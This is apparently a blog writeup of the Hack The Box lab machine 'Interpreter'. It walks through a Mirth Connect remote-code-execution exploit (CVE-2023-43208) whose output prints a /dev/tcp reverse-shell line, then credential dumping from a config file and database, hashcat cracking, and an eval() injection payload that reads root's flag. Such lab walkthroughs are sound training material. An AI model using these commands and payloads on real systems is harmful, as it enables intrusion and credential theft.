Vojtěch Hron / n00bDebugger
Home/HTB Writeups/Interpreter
HTB Writeups

Interpreter

Intepreter is a medium-difficulty box that runs on Linux, it starts with vulnerable web server from which we can gain RCE, use that to obtain credentials, and then use a vulnerable Python application to escalate privileges. Let's get started.

Initial Access

First, we’ll run an nmap scan.

nmap -sCV -sV -oA nmap/scanTcp 10.129.244.184

This shows that the server offers both HTTP and HTTPS services..

# Nmap 7.98 scan initiated Thu Mar 19 18:26:25 2026 as: nmap -sV -sCV -oA nmap/scanTcp 10.129.244.184
Nmap scan report for 10.129.244.184
Host is up (0.16s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey: 
| 256 07:eb:d1:b1:61:9a:6f:38:08:e0:1e:3e:5b:61:03:b9 (ECDSA)
|_  256 fc:d5:7a:ca:8c:4f:c1:bd:c7:2f:3a:ef:e1:5e:99:0f (ED25519)
80/tcp  open  http     Jetty
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Mirth Connect Administrator
443/tcp open  ssl/http Jetty
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Mirth Connect Administrator
| ssl-cert: Subject: commonName=mirth-connect
| Not valid before: 2025-09-19T12:50:05
|_Not valid after:  2075-09-19T12:50:05
|_ssl-date: TLS randomness does not represent time
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Mar 19 18:40:57 2026 -- 1 IP address (1 host up) scanned in 871.43 seconds

When we open it in a browser, we'll see this.

1

We can see that it's a service called "Mirth Connect," so we can check GitHub to see if the source code is available there; where we can find this.

3

You may have noticed the release year in the previous image; that will come in handy now as we look for a specific release on GitHub.

4

Bingo! Here we can clearly see that the software is vulnerable to RCE. Now we can search for POC exploit like here. Which we can run to obtain a reverse shell.

First we run netcat to listen in separate terminal.

nc -lvnp 444

And then we run exploit script. (In this exploit script you should not run separate netcat listener because listener is already baked into the exploit but I like more running my own listener)

┌──[10:41:48]─[chizzy@archlinux]─[CVE-2023-43208-EXPLOIT] on git:main x exploit-env 
└──╼ $ python3 CVE-2023-43208.py -u https://10.129.244.184 -lh [Your IP address] -lp 4444

[*]  ██████ ██    ██ ███████       ██████   ██████  ██████  ██████        ██   ██ ██████  ██████   ██████   █████
[*] ██      ██    ██ ██                 ██ ██  ████      ██      ██       ██   ██      ██      ██ ██  ████ ██   ██
[*] ██      ██    ██ █████   █████  █████  ██ ██ ██  █████   █████  █████ ███████  █████   █████  ██ ██ ██  █████
[*] ██       ██  ██  ██            ██      ████  ██ ██           ██            ██      ██ ██      ████  ██ ██   ██
[*]  ██████   ████   ███████       ███████  ██████  ███████ ██████             ██ ██████  ███████  ██████   █████

[+] Coded By: K3ysTr0K3R and Chocapikk ( NSA, we're still waiting :D )

[*] Setting up listener on 10.10.15.197:4444 and launching exploit...
Exception in thread Thread-1 (start_listener):
Traceback (most recent call last):
  File "/usr/lib/python3.10/threading.py", line 1016, in _bootstrap_inner
    self.run()
  File "/usr/lib/python3.10/threading.py", line 953, in run
    self._target(*self._args, **self._kwargs)
  File "/home/chizzy/Desktop/HTB/Interpreter/exploits/CVE-2023-43208-EXPLOIT/CVE-2023-43208.py", line 55, in start_listener
    with socket.create_server(("0.0.0.0", int(self.rshell_port))) as listener:
  File "/usr/lib/python3.10/socket.py", line 939, in create_server
    raise error(err.errno, msg) from None
OSError: [Errno 98] Address already in use (while attempting to bind on address ('0.0.0.0', 4444))
[*] Looking for Mirth Connect instance...
[+] Found Mirth Connect instance
[+] Vulnerable Mirth Connect version 4.4.0 instance found at https://10.129.244.184
[!] sh -c $@|sh . echo bash -c '0<&53-;exec 53<>/dev/tcp/10.10.15.197/4444;sh <&53 >&53 2>&53'
[*] Launching exploit against https://10.129.244.184...
(exploit-env) 

And we can look to the second terminal a we can see, we got a shell!

┌──[10:40:25]─[chizzy@archlinux]─[CVE-2023-43208-EXPLOIT] on git:main x 
└──╼ $ nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.129.244.184 42062
whoami
mirth

This shell looks kinda ugly, so we can upgrade it to interactive TTY using this commands.

python_bin=$(ls /bin | grep -m 1 -E '^python[0-9.]*$'); shell_bin=$(ls /bin | grep -E '^(sh|bash)$' | head -n 1); [ -n "$python_bin" -a -n "$shell_bin" ] && $python_bin -c "import pty; pty.spawn('/bin/$shell_bin')"

Now we press CTRL + Z and type rest of commands.

stty raw -echo ; fg

export TERM=xterm

This looks much prettier, after this we can search for database credentials, from witch we can dump other users.

mirth@interpreter:/usr/local/mirthconnect$ ls    
client-lib  logs                 mirth-server-launcher.jar  server-lib
conf        mcserver             preferences                uninstall
custom-lib  mcserver.vmoptions   public_api_html            webapps
docs        mcservice            public_html
extensions  mcservice.vmoptions  server-launcher-lib
mirth@interpreter:/usr/local/mirthconnect$ cd conf
mirth@interpreter:/usr/local/mirthconnect/conf$ cat mirth.properties
...
...
# database credentials
database.username = mirthdb
database.password = MirthPass123!
...
...

From this config file we can see database credentials. Let's get users passwords from it!

mirth@interpreter:/usr/local/mirthconnect$ mariadb -u mirthdb -pMirthPass123! -e "USE mc_bdd_prod; SHOW TABLES;"
+-----------------------+
| Tables_in_mc_bdd_prod |
+-----------------------+
| ALERT |
| CHANNEL |
| CHANNEL_GROUP |
| CODE_TEMPLATE |
| CODE_TEMPLATE_LIBRARY |
| CONFIGURATION |
| DEBUGGER_USAGE |
| D_CHANNELS |
| D_M1 |
| D_MA1 |
| D_MC1 |
| D_MCM1 |
| D_MM1 |
| D_MS1 |
| D_MSQ1 |
| EVENT |
| PERSON |
| PERSON_PASSWORD |
| PERSON_PREFERENCE |
| SCHEMA_INFO |
| SCRIPT |
+-----------------------+
mirth@interpreter:/usr/local/mirthconnect$ mariadb -u mirthdb -pMirthPass123! -e "USE mc_bdd_prod; SELECT * FROM PERSON;"
+----+----------+-----------+----------+--------------+----------+-------+-------------+-------------+---------------------+--------------------+--------------+------------------+-----------+------+---------------+----------------+-------------+
| ID | USERNAME | FIRSTNAME | LASTNAME | ORGANIZATION | INDUSTRY | EMAIL | PHONENUMBER | DESCRIPTION | LAST_LOGIN | GRACE_PERIOD_START | STRIKE_COUNT | LAST_STRIKE_TIME | LOGGED_IN | ROLE | COUNTRY | STATETERRITORY | USERCONSENT |
+----+----------+-----------+----------+--------------+----------+-------+-------------+-------------+---------------------+--------------------+--------------+------------------+-----------+------+---------------+----------------+-------------+
| 2 | sedric | | | | NULL | | | | 2025-09-21 17:56:02 | NULL | 0 | NULL | | NULL | United States | NULL | 0 |
+----+----------+-----------+----------+--------------+----------+-------+-------------+-------------+---------------------+--------------------+--------------+------------------+-----------+------+---------------+----------------+-------------+
mirth@interpreter:/usr/local/mirthconnect$ mariadb -u mirthdb -pMirthPass123! -e "USE mc_bdd_prod; SELECT * FROM PERSON_PASSWORD;"
+-----------+----------------------------------------------------------+---------------------+
| PERSON_ID | PASSWORD | PASSWORD_DATE |
+-----------+----------------------------------------------------------+---------------------+
| 2 | u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w== | 2025-09-19 09:22:28 |
+-----------+----------------------------------------------------------+---------------------+
mirth@interpreter:/usr/local/mirthconnect$ ls /home
sedric
mirth@interpreter:/usr/local/mirthconnect$ 

From this we got a sedric user which is also in the home directory. With a hash "u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==".

Looks like Base64 but it is actually Base64( 8-byte-salt || 32-byte-PBKDF2-digest ) = 40 bytes total From this GitHub repo we can see how to decrypt it. We can use this python script.

import base64

stored = base64.b64decode("u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==")

# First 8 bytes = salt, remaining 32 bytes = PBKDF2 digest
salt_b64 = base64.b64encode(stored[:8]).decode()
hash_b64 = base64.b64encode(stored[8:]).decode()

print(f"sha256:600000:{salt_b64}:{hash_b64}")

We can write this hash to a file and crack it with hashcat.using rockyou wordlist.

python3 convert_hash.py > sedric_crackable.hash

hashcat -m 10900 sedric_crackable.hash rockyou.txt

We have now obtained the SSH credentials: sedric:snowflake1.

Privilege Escalation

First we log in using ssh credentials.

┌──[11:29:32]─[chizzy@archlinux]─[credentials] 
└──╼ $ ssh [email protected]
The authenticity of host '10.129.244.184 (10.129.244.184)' can't be established.
ED25519 key fingerprint is: SHA256:Oz7Fk6YvrB8/5uSyuoY+mqLefkwpPaepkXAppxIX0xk
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.244.184' (ED25519) to the list of known hosts.
[email protected]'s password: 
Linux interpreter 6.1.0-43-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.162-1 (2026-02-08) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Mar 25 08:52:13 2026 from 10.10.15.197
sedric@interpreter:~$ ls
user.txt
sedric@interpreter:~$ 

We now have the user flag, but we want to get the root flag, so we'll start by finding out what services are running on the system.

sedric@interpreter:~$ ss -tunlp
Netid                   State                    Recv-Q                   Send-Q                                     Local Address:Port                                       Peer Address:Port                   Process                   
udp                     UNCONN                   0                        0                                                0.0.0.0:68                                              0.0.0.0:*                                                
tcp                     LISTEN                   0                        256                                              0.0.0.0:6661                                            0.0.0.0:*                                                
tcp                     LISTEN                   0                        50                                               0.0.0.0:80                                              0.0.0.0:*                                                
tcp                     LISTEN                   0                        128                                              0.0.0.0:22                                              0.0.0.0:*                                                
tcp                     LISTEN                   0                        50                                               0.0.0.0:443                                             0.0.0.0:*                                                
tcp                     LISTEN                   0                        128                                            127.0.0.1:54321                                           0.0.0.0:*                                                
tcp                     LISTEN                   0                        80                                             127.0.0.1:3306                                            0.0.0.0:*                                                
tcp                     LISTEN                   0                        128                                                 [::]:22                                                 [::]:*  

From this, we can see that something is running locally on port 54321. We can use wget to find out which web server is running on this port.

sedric@interpreter:~$ wget -S -O- http://127.0.0.1:54321
--2026-03-25 09:00:53--  http://127.0.0.1:54321/
Connecting to 127.0.0.1:54321... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 404 NOT FOUND
  Server: Werkzeug/2.2.2 Python/3.11.2
  Date: Wed, 25 Mar 2026 13:00:53 GMT
  Content-Type: text/html; charset=utf-8
  Content-Length: 207
  Connection: close
2026-03-25 09:00:53 ERROR 404: NOT FOUND.

This is clearly a Python server; we can use this information when searching for the file from which the server was launched.


sedric@interpreter:~$ ps aux | grep python
root        3518  0.0  0.6 400212 25796 ?        Ssl  05:38   0:05 /usr/bin/python3 /usr/bin/fail2ban-server -xf start
root        3522  0.0  0.8 113604 32148 ?        Ss   05:38   0:02 /usr/bin/python3 /usr/local/bin/notif.py
mirth       3954  0.0  0.2  16520  9592 ?        S    05:52   0:00 python3 -c import pty; pty.spawn('/bin/bash')
mirth       4024  0.0  0.2  16520  8492 ?        S    06:10   0:00 python3 -c import pty; pty.spawn('/bin/bash')
sedric      4427  0.0  0.0   6340  2120 pts/2    S+   09:05   0:00 grep python
sedric@interpreter:~$ 

You can notice the interesting notif.py file. Let's take a look at it.

#!/usr/bin/env python3
"""
Notification server for added patients.
This server listens for XML messages containing patient information and writes formatted notifications to files in /var/secure-health/patients/.
It is designed to be run locally and only accepts requests with preformated data from MirthConnect running on the same machine.
It takes data interpreted from HL7 to XML by MirthConnect and formats it using a safe templating function.
"""
from flask import Flask, request, abort
import re
import uuid
from datetime import datetime
import xml.etree.ElementTree as ET, os

app = Flask(__name__)
USER_DIR = "/var/secure-health/patients/"; os.makedirs(USER_DIR, exist_ok=True)

def template(first, last, sender, ts, dob, gender):
    pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$")
    for s in [first, last, sender, ts, dob, gender]:
        if not pattern.fullmatch(s):
            return "[INVALID_INPUT]"
    # DOB format is DD/MM/YYYY
    try:
        year_of_birth = int(dob.split('/')[-1])
        if year_of_birth < 1900 or year_of_birth > datetime.now().year:
            return "[INVALID_DOB]"
    except:
        return "[INVALID_DOB]"
    template = f"Patient {first} {last} ({gender}), {{datetime.now().year - year_of_birth}} years old, received from {sender} at {ts}"
    try:
        return eval(f"f'''{template}'''")
    except Exception as e:
        return f"[EVAL_ERROR] {e}"

@app.route("/addPatient", methods=["POST"])
def receive():
    if request.remote_addr != "127.0.0.1":
        abort(403)
    try:
        xml_text = request.data.decode()
        xml_root = ET.fromstring(xml_text)
    except ET.ParseError:
        return "XML ERROR\n", 400
    patient = xml_root if xml_root.tag=="patient" else xml_root.find("patient")
    if patient is None:
        return "No <patient> tag found\n", 400
    id = uuid.uuid4().hex
    data = {tag: (patient.findtext(tag) or "") for tag in ["firstname","lastname","sender_app","timestamp","birth_date","gender"]}
    notification = template(data["firstname"],data["lastname"],data["sender_app"],data["timestamp"],data["birth_date"],data["gender"])
    path = os.path.join(USER_DIR,f"{id}.txt")
    with open(path,"w") as f:
        f.write(notification+"\n")
    return notification

if __name__=="__main__":
    app.run("127.0.0.1",54321, threaded=True)

Right from the start, we can notice a few interesting things:

    1. We can only send requests from localhost.
    1. There is endpoint /addPatient.
    1. There is kinda dangerous python function eval().

Because notif.py is running as root and have parsing using eval() function, we can write exploit that looks something like this.

┌──[14:20:43]─[chizzy@archlinux]─[privEsc] 
└──╼ $ cat exploit.py 
import requests

url = "http://localhost:54321/addPatient"
xml = """
<patient>
  <firstname>{open('/root/root.txt').read()}</firstname>
  <lastname>X</lastname>
  <sender_app>X</sender_app>
  <timestamp>X</timestamp>
  <birth_date>01/01/2000</birth_date>
  <gender>M</gender>
</patient>
"""

response = requests.post(url, data=xml, headers={'Content-Type': 'application/xml'})
print(response.text)

We will upload to the machine, run and voilà we have a root flag.

sedric@interpreter:~$ python3 exploit.py
Patient [root flag]
 X (M), 26 years old, received from X at X
sedric@interpreter:~$ 

5

Thank you for your attention, and see you next time.